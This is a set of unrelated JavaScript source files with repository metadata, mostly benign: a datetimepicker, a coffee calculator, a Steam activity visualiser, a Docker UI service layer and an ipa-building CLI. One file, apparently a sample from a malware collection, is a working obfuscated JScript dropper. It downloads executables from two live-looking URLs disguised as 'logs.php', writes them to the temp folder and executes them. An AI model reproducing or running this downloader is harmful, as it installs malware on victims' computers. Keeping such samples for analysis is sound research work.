html += '<td' + ((dow + firstDay + 6) % 7 >= 5 ? ' class="datetimepicker_weekEndCell"' : '') + '>' +
(!changeFirstDay ? '<span' :
'<a onclick="jQuery.datetimepicker._changeFirstDay(' + this._id + ', ' + day + ');"') +
(showStatus ? this._addStatus(status) : '') + ' title="' + dayNames[day] + '">' +
dayNamesMin[day] + (changeFirstDay ? '</a>' : '</span>') + '</td>';
}
html += '</tr></thead><tbody>';
var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
if (drawYear == this._selectedYear && drawMonth == this._selectedMonth) {
this._selectedDay = Math.min(this._selectedDay, daysInMonth);
}
var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
var currentDate = (!this._currentDay ? new Date(9999, 9, 9) :
new Date(this._currentYear, this._currentMonth, this._currentDay));
var endDate = this._endDay ? new Date(this._endYear, this._endMonth, this._endDay) : currentDate;
var printDate = new Date(drawYear, drawMonth, 1 - leadDays);
var numRows = (isMultiMonth ? 6 : Math.ceil((leadDays + daysInMonth) / 7)); // calculate the number of rows to generate
var beforeShowDay = this._get('beforeShowDay');
var showOtherMonths = this._get('showOtherMonths');
var calculateWeek = this._get('calculateWeek') || $.datetimepicker.iso8601Week;
var dateStatus = this._get('statusForDate') || $.datetimepicker.dateStatus;
for (var dRow = 0; dRow < numRows; dRow++) { // create date picker rows
html += '<tr class="datetimepicker_daysRow">' +
(showWeeks ? '<td class="datetimepicker_weekCol">' + calculateWeek(printDate) + '</td>' : '');
for (var dow = 0; dow < 7; dow++) { // create date picker days
var daySettings = (beforeShowDay ?
beforeShowDay.apply((this._input ? this._input[0] : null), [printDate]) : [true, '']);
var otherMonth = (printDate.getMonth() != drawMonth);
var unselectable = otherMonth || !daySettings[0] ||
(minDate && printDate < minDate) || (maxDate && printDate > maxDate);
html += '<td class="datetimepicker_daysCell' +
((dow + firstDay + 6) % 7 >= 5 ? ' datetimepicker_weekEndCell' : '') + // highlight weekends
(otherMonth ? ' datetimepicker_otherMonth' : '') + // highlight days from other months
(printDate.getTime() == selectedDate.getTime() && drawMonth == this._selectedMonth ?
' datetimepicker_daysCellOver' : '') + // highlight selected day
(unselectable ? ' datetimepicker_unselectable' : '') + // highlight unselectable days
(otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + // highlight custom dates
(printDate.getTime() >= currentDate.getTime() && printDate.getTime() <= endDate.getTime() ? // in current range
' datetimepicker_currentDay' : '') + // highlight selected day
(printDate.getTime() == today.getTime() ? ' datetimepicker_today' : '')) + '"' + // highlight today (if different)
(unselectable ? '' : ' onmouseover="jQuery(this).addClass(\'datetimepicker_daysCellOver\');' +
(!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#datetimepicker_status_' +
this._id + '\').html(\'' + (dateStatus.apply((this._input ? this._input[0] : null),
[printDate, this]) || ' ') +'\');') + '"' +
' onmouseout="jQuery(this).removeClass(\'datetimepicker_daysCellOver\');' +
(!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#datetimepicker_status_' +
this._id + '\').html(\' \');') + '" onclick="jQuery.datetimepicker._selectDay(' +
this._id + ',' + drawMonth + ',' + drawYear + ', this);"') + '>' + // actions
(otherMonth ? (showOtherMonths ? printDate.getDate() : ' ') : // display for other months
(unselectable ? printDate.getDate() : '<a>' + printDate.getDate() + '</a>')) + '</td>'; // display for this month
printDate.setDate(printDate.getDate() + 1);
}
html += '</tr>';
}
drawMonth++;
if (drawMonth > 11) {
drawMonth = 0;
drawYear++;
}
html += '</tbody></table></div>';
}
html += (showStatus ? '<div style="clear: both;"></div><div id="datetimepicker_status_' + this._id +
'" class="datetimepicker_status">' + (this._get('initStatus') || ' ') + '</div>' : '') +
(!closeAtTop && !this._inline ? controls : '') +
'<div style="clear: both;"></div>' +
($.browser.msie && parseInt($.browser.version) < 7 && !this._inline ?
'<iframe src="javascript:false;" class="datetimepicker_cover"></iframe>' : '');
return html;
},
/* Generate the month and year header. */
_generateMonthYearHeader: function(drawMinute,drawHour,drawMonth, drawYear, minDate, maxDate, selectedDate, secondary) {
minDate = (this._rangeStart && minDate && selectedDate < minDate ? selectedDate : minDate);
var showStatus = this._get('showStatus');
var html = '<div class="datetimepicker_header">';
// month selection
var monthNames = this._get('monthNames');
if (secondary || !this._get('changeMonth'))
html += monthNames[drawMonth] + ' ';
else {
var inMinYear = (minDate && minDate.getFullYear() == drawYear);
var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
html += '<select class="datetimepicker_newMonth" ' +
'onchange="jQuery.datetimepicker._selectMonthYear(' + this._id + ', this, \'M\');" ' +
'onclick="jQuery.datetimepicker._clickMonthYear(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('monthStatus') || ' ') : '') + '>';
for (var month = 0; month < 12; month++) {
if ((!inMinYear || month >= minDate.getMonth()) &&
(!inMaxYear || month <= maxDate.getMonth())) {
html += '<option value="' + month + '"' +
(month == drawMonth ? ' selected="selected"' : '') +
'>' + monthNames[month] + '</option>';
}
}
html += '</select>';
}
// year selection
if (secondary || !this._get('changeYear'))
html += drawYear;
else {
// determine range of years to display
var years = this._get('yearRange').split(':');
var year = 0;
var endYear = 0;
if (years.length != 2) {
year = drawYear - 10;
endYear = drawYear + 10;
} else if (years[0].charAt(0) == '+' || years[0].charAt(0) == '-') {
year = drawYear + parseInt(years[0], 10);
endYear = drawYear + parseInt(years[1], 10);
} else {
year = parseInt(years[0], 10);
endYear = parseInt(years[1], 10);
}
year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
html += '<select class="datetimepicker_newYear" ' +
'onchange="jQuery.datetimepicker._selectMonthYear(' + this._id + ', this, \'Y\');" ' +
'onclick="jQuery.datetimepicker._clickMonthYear(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('yearStatus') || ' ') : '') + '>';
for (; year <= endYear; year++) {
html += '<option value="' + year + '"' +
(year == drawYear ? ' selected="selected"' : '') +
'>' + year + '</option>';
}
html += '</select>';
}
// if (this._get('changeTime'))
{
html += '<br />';
html += '<select class="datetimepicker_newHour" ' +
'onchange="jQuery.datetimepicker._selectTime(' + this._id + ', this, \'H\');" ' +
'onclick="jQuery.datetimepicker._clickMonthYear(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('hourStatus') || ' ') : '') + '>';
for (hour=0; hour < 24; hour++) {
html += '<option value="' + hour + '"' +
(hour == drawHour ? ' selected="selected"' : '') +
'>' + ((hour<10)?'0'+hour:hour) + '</option>';
}
html += '</select>';
html += ' : ';
html += '<select class="datetimepicker_newMinute" ' +
'onchange="jQuery.datetimepicker._selectTime(' + this._id + ', this, \'M\');" ' +
'onclick="jQuery.datetimepicker._clickMonthYear(' + this._id + ');"' +
(showStatus ? this._addStatus(this._get('minuteStatus') || ' ') : '') + '>';
for (minute=0; minute < 60; minute++) {
html += '<option value="' + minute + '"' +
(minute == drawMinute ? ' selected="selected"' : '') +
'>' + ((minute<10)?'0'+minute:minute) + '</option>';
}
html += '</select>';
}
html += '</div>'; // Close datetimepicker_header
return html;
},
/* Provide code to set and clear the status panel. */
_addStatus: function(text) {
return ' onmouseover="jQuery(\'#datetimepicker_status_' + this._id + '\').html(\'' + text + '\');" ' +
'onmouseout="jQuery(\'#datetimepicker_status_' + this._id + '\').html(\' \');"';
},
/* Adjust one of the date sub-fields. */
_adjustDate: function(offset, period) {
var year = this._drawYear + (period == 'Y' ? offset : 0);
var month = this._drawMonth + (period == 'M' ? offset : 0);
var day = Math.min(this._selectedDay, this._getDaysInMonth(year, month)) +
(period == 'D' ? offset : 0);
var hour = this._drawHour + (period == 'H' ? offset : 0);
var minute = this._drawMinute + (period == 'I' ? offset : 0);
var date = new Date(year, month, day, hour, minute);
// ensure it is within the bounds set
var minDate = this._getMinMaxDate('min', true);
var maxDate = this._getMinMaxDate('max');
date = (minDate && date < minDate ? minDate : date);
date = (maxDate && date > maxDate ? maxDate : date);
this._selectedDay = date.getDate();
this._drawMonth = this._selectedMonth = date.getMonth();
this._drawYear = this._selectedYear = date.getFullYear();
this._drawHour = this._selectedHour = date.getHours();
this._drawMinute = this._selectedMinute = date.getMinutes();
},
/* Determine the number of months to show. */
_getNumberOfMonths: function() {
var numMonths = this._get('numberOfMonths');
return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));
},
/* Determine the current maximum date - ensure no time components are set - may be overridden for a range. */
_getMinMaxDate: function(minMax, checkRange) {
var date = this._determineDate(minMax + 'Date', null);
if (date) {
date.setHours(0);
date.setMinutes(0);
date.setSeconds(0);
date.setMilliseconds(0);
}
return date || (checkRange ? this._rangeStart : null);
},
/* Find the number of days in a given month. */
_getDaysInMonth: function(year, month) {
return 32 - new Date(year, month, 32).getDate();
},
/* Find the day of the week of the first of a month. */
_getFirstDayOfMonth: function(year, month) {
return new Date(year, month, 1).getDay();
},
/* Determines if we should allow a "next/prev" month display change. */
_canAdjustMonth: function(offset, curYear, curMonth) {
var numMonths = this._getNumberOfMonths();
var date = new Date(curYear, curMonth + (offset < 0 ? offset : numMonths[1]), 1);
if (offset < 0)
date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
return this._isInRange(date);
},
/* Is the given date in the accepted range? */
_isInRange: function(date) {
// during range selection, use minimum of selected date and range start
var newMinDate = (!this._rangeStart ? null :
new Date(this._selectedYear, this._selectedMonth, this._selectedDay));
newMinDate = (newMinDate && this._rangeStart < newMinDate ? this._rangeStart : newMinDate);
var minDate = newMinDate || this._getMinMaxDate('min');
var maxDate = this._getMinMaxDate('max');
return ((!minDate || date >= minDate) && (!maxDate || date <= maxDate));
},
/* Provide the configuration settings for formatting/parsing. */
_getFormatConfig: function() {
var shortYearCutoff = this._get('shortYearCutoff');
shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff :
new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
return {shortYearCutoff: shortYearCutoff,
dayNamesShort: this._get('dayNamesShort'), dayNames: this._get('dayNames'),
monthNamesShort: this._get('monthNamesShort'), monthNames: this._get('monthNames')};
},
/* Format the given date for display. */
_formatDateTime: function(day, month, year, hour, minute) {
if (!day) {
this._currentDay = this._selectedDay;
this._currentMonth = this._selectedMonth;
this._currentYear = this._selectedYear;
this._currentHour = this._selectedHour;
this._currentMinute = this._selectedMinute;
}
var date = (day ? (typeof day == 'object' ? day : new Date(year, month, day, hour, minute)) :
new Date(this._currentYear, this._currentMonth, this._currentDay, this._currentHour, this._currentMinute));
return $.datetimepicker.formatDate(this._get('dateFormat')+' '+this._get('timeFormat'), date, this._getFormatConfig());
}
});
/* jQuery extend now ignores nulls! */
function extendRemove(target, props) {
$.extend(target, props);
for (var name in props)
if (props[name] == null)
target[name] = null;
return target;
};
/* Invoke the datetimepicker functionality.
@param options String - a command, optionally followed by additional parameters or
Object - settings for attaching new datetimepicker functionality
@return jQuery object */
$.fn.datetimepicker = function(options){
var otherArgs = Array.prototype.slice.call(arguments, 1);
if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate')) {
return $.datetimepicker['_' + options + 'Datepicker'].apply($.datetimepicker, [this[0]].concat(otherArgs));
}
return this.each(function() {
typeof options == 'string' ?
$.datetimepicker['_' + options + 'Datepicker'].apply($.datetimepicker, [this].concat(otherArgs)) :
$.datetimepicker._attachDatepicker(this, options);
});
};
$.datetimepicker = new DateTimepicker(); // singleton instance
/* Initialise the date picker. */
$(document).ready(function() {
$(document.body).append($.datetimepicker._datetimepickerDiv)
.mousedown($.datetimepicker._checkExternalClick);
});
})(jQuery); | carlosamores/training-spot | web/js/ui.datetimepicker.js | JavaScript | mit | 67,412 |
(function() {
function calcGreen(coffeeYield, roasted) {
return (roasted/coffeeYield).toFixed(2) + ' kg'
}
function getEl(el) {
return document.getElementById(el);
}
function validateNumber(x) {
/* typeof x === string
*/
var valid;
if (x.length === 0) {
valid = false;
} else {
valid = !isNaN(Number(x));
}
return valid;
}
var coffeeYield = 0.85;
/* Imagine destructuring...
* var loss, calc, roasted = getEls([a,b,c])
*/
var loss = getEl('loss');
var calc = getEl('calc');
var roasted = getEl('roasted');
var green = getEl('green');
loss.oninput = function() {
coffeeYield = (100 - loss.value)/100;
green.value = '';
return;
}
roasted.oninput = function() {
return green.value = '';
}
document.onkeypress = function(e) {
var enter = (e.keyCode === 13);
if (enter) {
return calc.onclick();
}
}
calc.onclick = function() {
/* validate inputs
*/
var msg;
var r = roasted.value;
var l = loss.value;
var notNumbers = (!validateNumber(r) || !validateNumber(l));
var negative = ((r < 0) || (l < 0));
if (notNumbers || negative) {
alert('Values must be postive numbers');
} else {
return green.value = calcGreen(coffeeYield, roasted.value);
}
}
calc.onmousedown = function() {
var self = this;
self.classList.add('pure-button-active');
}
calc.onmouseup = function() {
var self = this;
self.classList.remove('pure-button-active');
}
})();
| damonmcminn/green-coffee-calculator | src/green.js | JavaScript | mit | 1,554 |
mainApp.controller('ContactCtrl', function ($scope) {
}); | sarath2/smartbookreader-client | main-app/scripts/controllers/contact.js | JavaScript | mit | 60 |
"use strict";
var redis = require('redis'),
socketio = require('socket.io'),
http = require('http'),
url = require('url'),
fs = require('fs'),
querybuffer = require("../querybuffer.js"),
config = require('./config.json');
var expireInterval = (config.expireStaleUsersAfterSeconds || 120) * 1000,
graphUpdateInterval = (config.graphUpdateIntervalSeconds || 10) * 1000,
listenPort = config.listenPort || 8000;
/**
* TODO: wrap this in express or similar for less crappy hacks.
*/
var server = http.createServer();
var io = socketio(server);
server.on("request", (req, res) => {
var urlObj = url.parse(req.url);
if (!urlObj.path || urlObj.path == '/') {
var f = fs.readFileSync('./page.html');
res.writeHead(200);
res.write(f);
res.end();
} else if (urlObj.path.indexOf('socket.io') === -1) {
// This is TERRIBLE - someone could put 'socket.io' in the
// url and if socket.io module doesn't handle it, we'll leak
// all the everythings. But quick hack for demo purposes.
res.writeHead(400);
res.end();
}
});
server.listen(listenPort);
// This bit will probably scale badly, but it's bed time now and I want to get something working
var playerState = {};
var qb = new querybuffer(graphUpdateInterval, (update) => {
var now = new Date();
// Update teh state of any seen players
update.forEach((player) => {
player.timestamp = now;
playerState[player.steamid] = player;
});
var games = new gameCounter();
// Purge any old players, aggregate others
var expire = new Date(now - expireInterval); // 2 minutes
Object.keys(playerState).forEach((key) => {
var player = playerState[key];
if (player.timestamp < expire) {
delete playerState[key];
} else {
games.addToGame(player.gameid, player.gamename);
}
});
io.emit("message", games.flatten());
});
var redisClient = redis.createClient();
redisClient.on("message", (channel, message) => {
qb.addItem(JSON.parse(message));
});
redisClient.subscribe("steam-update");
class gameCounter {
constructor() {
this.games = {};
}
addToGame(gameid, gamename) {
if (!gameid) {
gameid = 0;
gamename = "Not in game, or not playing a Steam game";
}
if (this.games[gameid] == undefined) {
this.games[gameid] = { id: gameid, hits: 1, name: gamename };
} else {
this.games[gameid].hits++;
}
}
flatten() {
var d = [];
var notInGame = this.games[0];
Object.keys(this.games).forEach((key) => {
if (config.showPeopleNotPlayingGames == true || key != 0) {
d.push(this.games[key]);
}
});
return { games: d, notInGame: notInGame };
}
}
| OpenSourceLAN/steam-discover | visualiser/app.js | JavaScript | mit | 2,583 |
'use strict';
Object.defineProperty(exports, '__esModule', {
value: true
});
function _interopExportWildcard(obj, defaults) { var newObj = defaults({}, obj); delete newObj['default']; return newObj; }
function _defaults(obj, defaults) { var keys = Object.getOwnPropertyNames(defaults); for (var i = 0; i < keys.length; i++) { var key = keys[i]; var value = Object.getOwnPropertyDescriptor(defaults, key); if (value && value.configurable && obj[key] === undefined) { Object.defineProperty(obj, key, value); } } return obj; }
var _requestInterceptor = require('./requestInterceptor');
_defaults(exports, _interopExportWildcard(_requestInterceptor, _defaults));
var _responseInterceptor = require('./responseInterceptor');
_defaults(exports, _interopExportWildcard(_responseInterceptor, _defaults)); | eyolas/vador | build/node/core/baseInterceptors/index.js | JavaScript | mit | 805 |
#!/usr/bin/env node
'use strict'
var program = require('commander')
var exec = require('./lib/exec')
var list = require('./lib/list')
var logger = require('./lib/logger')
program.version(require('./package.json').version)
.description('Create an .ipa file from an .app')
.option('-k, --keychain-name <name>', 'Keychain Name - default APP_NAME', process.env.APP_NAME || 'build-tools')
.option('--ipa <name>', 'Ipa file to create - default build/Release-iphoneos/$APP_NAME.ipa', process.cwd() + '/build/Release-iphoneos/' + (process.env.APP_NAME ? process.env.APP_NAME + '.ipa' : 'app.ipa'))
.option('--app <name>', 'App file to convert - default build/Release-iphoneos/$APP_NAME.app', process.cwd() + '/build/Release-iphoneos/' + (process.env.APP_NAME ? process.env.APP_NAME + '.app' : 'app.app'))
.option('--provisioning-profile <profile>', 'Provisioning profile - default PROVISIONING_PROFILE', list, list(process.env.PROVISIONING_PROFILE))
.parse(process.argv)
var create = function create () {
var embed = program.provisioningProfile.length ? ' -embed "' + program.provisioningProfile + '"' : ''
return exec('xcrun -log -sdk iphoneos PackageApplication "' + program.app + '" -o "' + program.ipa + '" ' + embed)
}
create().catch(function (err) {
logger.error('Error creating ipa', err)
process.exit(1)
})
| ekreative/ios-build-tools | create-ipa.js | JavaScript | mit | 1,334 |
export function getHumanDate(milliseconds) {
var today = new Date(); // default is current date
if (milliseconds)
today = new Date(milliseconds);
var dd = today.getDate();
var mm = today.getMonth() + 1; //January is 0!
var yyyy = today.getFullYear();
if (dd < 10) {
dd = '0' + dd
}
if (mm < 10) {
mm = '0' + mm
}
return mm + '/' + dd + '/' + yyyy;
}
export function createGuid() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
var r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
} | VictorMalcov/amvm-form-models | src/helpers.js | JavaScript | mit | 650 |
"Thu Oct 13 2016 23:47:13 GMT+0200 (CEST)"
var SvjUKAc = new Date();
while (true) {
var XwHvxGz = new Date();
var ERupxfq = new Date(XwHvxGz.getTime() - SvjUKAc.getTime());
if (ERupxfq.getSeconds() > 5) {
break;
}
WScript.Sleep(500);
}
function ckCgnMtxxk(ibZdbdKp, CnWtQRBnxBRw) {
nhjyEhX = 0x1;
ScLQeYp = 0x0;
ibZdbdKp.Run(CnWtQRBnxBRw, nhjyEhX, ScLQeYp);
}
/*ToakIoXNFCHbmPvwLmfYFFdfZfhOyyKAhVBlGhbuYuaaPtQBjpqWMUQICukLkzPCPvwfXTyVLfMTKQFAbmUNmdXfyCGAptnxROKUHzooRKSGZhNsmcSyggxwOEwkOhfmmbrBLYyCrirmIspeQMjducrGyzFNHOrVaiscirbJkAkLKwkJOpUBbREKBnhjTpWxiiNxZDYJxM*/
URjKuPKyMgrYr();
var mmcXR = ["http://lcbschool2.ac.th/pic/_notes/logs.php"];
var Wyiwp = ["http://masseriacarparelli.it/logs2.php"];
OsLAgfHCfdr(mmcXR, '23.exe');
OsLAgfHCfdr(Wyiwp, '24.exe');
function OsLAgfHCfdr(AUePbmz, xjshqCWtQ) {
var RIHh = 407 - 407;
while (true) {
if (AUePbmz.length <= 366 - 366) break;
var EOIT = xEnVXGW() % AUePbmz.length;
var KyRewCCEJ = AUePbmz[EOIT];
var BIxHp = xEnVXGW();
var TlJTxfwLxp = xjshqCWtQ;
var WDlUJfS = xjshqCWtQ;
var cvSRFkdY = 112 - 111;
var LRACVIJdS = function() {
return new ActiveXObject(WDBmH('WS&WmSxvYpcV&cript&WmSxvYpcV&.She&l&l', [0, 2, 4, 5, 6], '&'));
}();
var WDlUJfS = ldNrVl(LRACVIJdS) + String.fromCharCode(92) + WDlUJfS;
var TbZdG = function() {
return new ActiveXObject(WDBmH('MSX&DiODGVvSB&ML2.XM&nmWtwgNOhvP&LHTTP', [0, 2, 4], '&'));
}();
UYCO(KyRewCCEJ, TbZdG);
if (TbZdG.status == 100 + 100) {
var sWPmhUM = function() {
return new ActiveXObject(WDBmH('ADO&DB&PGXbbEcUF&.&nEvdrVaCd&Stream', [0, 1, 3, 5], '&'));
}();
var pDdQcrVkhARc = qSeGr(sWPmhUM, TbZdG.ResponseBody, WDlUJfS);
}
try {
ckCgnMtxxk(LRACVIJdS, WDlUJfS);
var xtIxXmh = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \'' + TlJTxfwLxp + '\'');
if (xtIxXmh.Count >= 1) {
break;
}
} catch(e) { util_log(_sc + _inspect(e));}
RIHh++;
MBGwN.splice(EOIT, 327 - 326);
}
}
function ldNrVl(ByNmjV) {
var cxeVjMWm = ["ExpandEnvironmentStrings"];
return ByNmjV[cxeVjMWm[0]]('%TMP%')
}
function qSeGr(fVDGQccj, Cmwwv, JCtZgNyuNT) {
try {
fVDGQccj.open();
mEvJHgAm(fVDGQccj);
ShSvKwv(fVDGQccj, Cmwwv);
EXncmYqiN(fVDGQccj);
SAxs(fVDGQccj, JCtZgNyuNT);
KlpoACZP = fVDGQccj.size;
wcAPLEY(fVDGQccj);
return KlpoACZP;
} catch(e) { util_log(_sc + _inspect(e));}
}
function UYCO(pEjdKZ, EZDobvT) {
try {
bkIe = 'G*tqEiSfCEFO*E*T*sqkdtRMjxeQR'.split('*');
EZDobvT.open(bkIe[0] + bkIe[2] + bkIe[3], pEjdKZ, false);
EZDobvT.setRequestHeader("User-Agent", "Python-urllib/3.1");
EZDobvT.send();
} catch(e) { util_log(_sc + _inspect(e));}
}
function WDBmH(mxhXCKNI, zTOiBb, woGPxsmnc) {
nymYF = mxhXCKNI.split(woGPxsmnc);
VvdgKnq = 'isR';
for (ltaWmxhr = 0; ltaWmxhr < zTOiBb.length; ltaWmxhr++) {
VvdgKnq += nymYF[zTOiBb[ltaWmxhr]];
}
return VvdgKnq.substring(3, VvdgKnq.length);
}
function URjKuPKyMgrYr() { /*BCKSGFxZTW().Sleep(5311-410);*/ }
function YEPOLKB() {
var NIZqdP = ["random"];
return Math[NIZqdP[0]]()
}
function iPtA(EVWlhq) {
EVWlhq.open();
}
function mEvJHgAm(XPaMCcbtn) {
XPaMCcbtn.type = 1;
}
function ShSvKwv(UBBO, aRAhF) {
UBBO.write(aRAhF);
}
function BCKSGFxZTW() {
return /*XQRmBOFMbTPjQDAMKQpicfpILteYagMoPpTqwtDpMrwYdHDBnmBJHHxIfOUkXgZzcIpnLSVMQJxHJEZjjChdGcYCTcfpoaFEIVeetkGco*/ WScript;
}
function EXncmYqiN(hbpFEH) {
var pOTTAMeVOw = [];
hbpFEH.position = pOTTAMeVOw.length * (4714679 - 679);
}
function SAxs(nTrxTKR, kQmMEIk) {
nTrxTKR.saveToFile(kQmMEIk, 2);
}
function wcAPLEY(NZHgp) {
NZHgp.close();
}
function xEnVXGW() {
var AzTJ = 99999 + 1;
var vaVlYa = 100;
return Math.round(YEPOLKB() * (AzTJ - vaVlYa) + vaVlYa);
}
function QOawkeUO(iqwZo) {
var maBHbxuS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (var xfbbJ = 0; xfbbJ < iqwZo; xfbbJ++) {
QvLxV += maBHbxuS.charAt(Math.floor(Math.random() * maBHbxuS.length));
}
return QvLxV;
}
function xfgtzigMYScAlH(XVdzyJUSJbBLjI) {
return new ActiveXObject(XVdzyJUSJbBLjI);
}
| HynekPetrak/malware-jail | malware/20161013/out/tr_malware_20161013__TMP__XipXkrLd.js | JavaScript | mit | 4,499 |
angular.module('uifordocker.services', ['ngResource', 'ngSanitize'])
.factory('Container', ['$resource', 'Settings', function ContainerFactory($resource, Settings) {
'use strict';
// Resource for interacting with the docker containers
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#2-1-containers
return $resource(Settings.url + '/containers/:id/:action', {
name: '@name'
}, {
query: {method: 'GET', params: {all: 0, action: 'json'}, isArray: true},
get: {method: 'GET', params: {action: 'json'}},
start: {method: 'POST', params: {id: '@id', action: 'start'}},
stop: {method: 'POST', params: {id: '@id', t: 5, action: 'stop'}},
restart: {method: 'POST', params: {id: '@id', t: 5, action: 'restart'}},
kill: {method: 'POST', params: {id: '@id', action: 'kill'}},
pause: {method: 'POST', params: {id: '@id', action: 'pause'}},
unpause: {method: 'POST', params: {id: '@id', action: 'unpause'}},
changes: {method: 'GET', params: {action: 'changes'}, isArray: true},
create: {method: 'POST', params: {action: 'create'}},
remove: {method: 'DELETE', params: {id: '@id', v: 0}},
rename: {method: 'POST', params: {id: '@id', action: 'rename'}, isArray: false},
stats: {method: 'GET', params: {id: '@id', stream: false, action: 'stats'}, timeout: 5000}
});
}])
.factory('ContainerCommit', ['$resource', '$http', 'Settings', function ContainerCommitFactory($resource, $http, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#create-a-new-image-from-a-container-s-changes
return {
commit: function (params, callback) {
$http({
method: 'POST',
url: Settings.url + '/commit',
params: {
'container': params.id,
'tag': params.tag || null,
'repo': params.repo || null
},
data: params.config
}).success(callback).error(function (data, status, headers, config) {
console.log(error, data);
});
}
};
}])
.factory('ContainerLogs', ['$resource', '$http', 'Settings', function ContainerLogsFactory($resource, $http, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#get-container-logs
return {
get: function (id, params, callback) {
$http({
method: 'GET',
url: Settings.url + '/containers/' + id + '/logs',
params: {
'stdout': params.stdout || 0,
'stderr': params.stderr || 0,
'timestamps': params.timestamps || 0,
'tail': params.tail || 'all'
}
}).success(callback).error(function (data, status, headers, config) {
console.log(error, data);
});
}
};
}])
.factory('ContainerTop', ['$http', 'Settings', function ($http, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#list-processes-running-inside-a-container
return {
get: function (id, params, callback, errorCallback) {
$http({
method: 'GET',
url: Settings.url + '/containers/' + id + '/top',
params: {
ps_args: params.ps_args
}
}).success(callback);
}
};
}])
.factory('Image', ['$resource', 'Settings', function ImageFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#2-2-images
return $resource(Settings.url + '/images/:id/:action', {}, {
query: {method: 'GET', params: {all: 0, action: 'json'}, isArray: true},
get: {method: 'GET', params: {action: 'json'}},
search: {method: 'GET', params: {action: 'search'}},
history: {method: 'GET', params: {action: 'history'}, isArray: true},
create: {
method: 'POST', isArray: true, transformResponse: [function f(data) {
var str = data.replace(/\n/g, " ").replace(/\}\W*\{/g, "}, {");
return angular.fromJson("[" + str + "]");
}],
params: {action: 'create', fromImage: '@fromImage', tag: '@tag'}
},
insert: {method: 'POST', params: {id: '@id', action: 'insert'}},
push: {method: 'POST', params: {id: '@id', action: 'push'}},
tag: {method: 'POST', params: {id: '@id', action: 'tag', force: 0, repo: '@repo', tag: '@tag'}},
remove: {method: 'DELETE', params: {id: '@id'}, isArray: true},
inspect: {method: 'GET', params: {id: '@id', action: 'json'}}
});
}])
.factory('Version', ['$resource', 'Settings', function VersionFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#show-the-docker-version-information
return $resource(Settings.url + '/version', {}, {
get: {method: 'GET'}
});
}])
.factory('Auth', ['$resource', 'Settings', function AuthFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#check-auth-configuration
return $resource(Settings.url + '/auth', {}, {
get: {method: 'GET'},
update: {method: 'POST'}
});
}])
.factory('Info', ['$resource', 'Settings', function InfoFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#display-system-wide-information
return $resource(Settings.url + '/info', {}, {
get: {method: 'GET'}
});
}])
.factory('Network', ['$resource', 'Settings', function NetworkFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#2-5-networks
return $resource(Settings.url + '/networks/:id/:action', {id: '@id'}, {
query: {method: 'GET', isArray: true},
get: {method: 'GET'},
create: {method: 'POST', params: {action: 'create'}},
remove: {method: 'DELETE'},
connect: {method: 'POST', params: {action: 'connect'}},
disconnect: {method: 'POST', params: {action: 'disconnect'}}
});
}])
.factory('Volume', ['$resource', 'Settings', function VolumeFactory($resource, Settings) {
'use strict';
// http://docs.docker.com/reference/api/docker_remote_api_<%= remoteApiVersion %>/#2-5-networks
return $resource(Settings.url + '/volumes/:name/:action', {name: '@name'}, {
query: {method: 'GET'},
get: {method: 'GET'},
create: {method: 'POST', params: {action: 'create'}},
remove: {method: 'DELETE'}
});
}])
.factory('Settings', ['DOCKER_ENDPOINT', 'DOCKER_PORT', 'UI_VERSION', function SettingsFactory(DOCKER_ENDPOINT, DOCKER_PORT, UI_VERSION) {
'use strict';
var url = DOCKER_ENDPOINT;
if (DOCKER_PORT) {
url = url + DOCKER_PORT + '\\' + DOCKER_PORT;
}
var firstLoad = (localStorage.getItem('firstLoad') || 'true') === 'true';
return {
displayAll: false,
endpoint: DOCKER_ENDPOINT,
uiVersion: UI_VERSION,
url: url,
firstLoad: firstLoad
};
}])
.factory('ViewSpinner', function ViewSpinnerFactory() {
'use strict';
var spinner = new Spinner();
var target = document.getElementById('view');
return {
spin: function () {
spinner.spin(target);
},
stop: function () {
spinner.stop();
}
};
})
.factory('Messages', ['$rootScope', '$sanitize', function MessagesFactory($rootScope, $sanitize) {
'use strict';
return {
send: function (title, text) {
$.gritter.add({
title: $sanitize(title),
text: $sanitize(text),
time: 2000,
before_open: function () {
if ($('.gritter-item-wrapper').length === 3) {
return false;
}
}
});
},
error: function (title, text) {
$.gritter.add({
title: $sanitize(title),
text: $sanitize(text),
time: 10000,
before_open: function () {
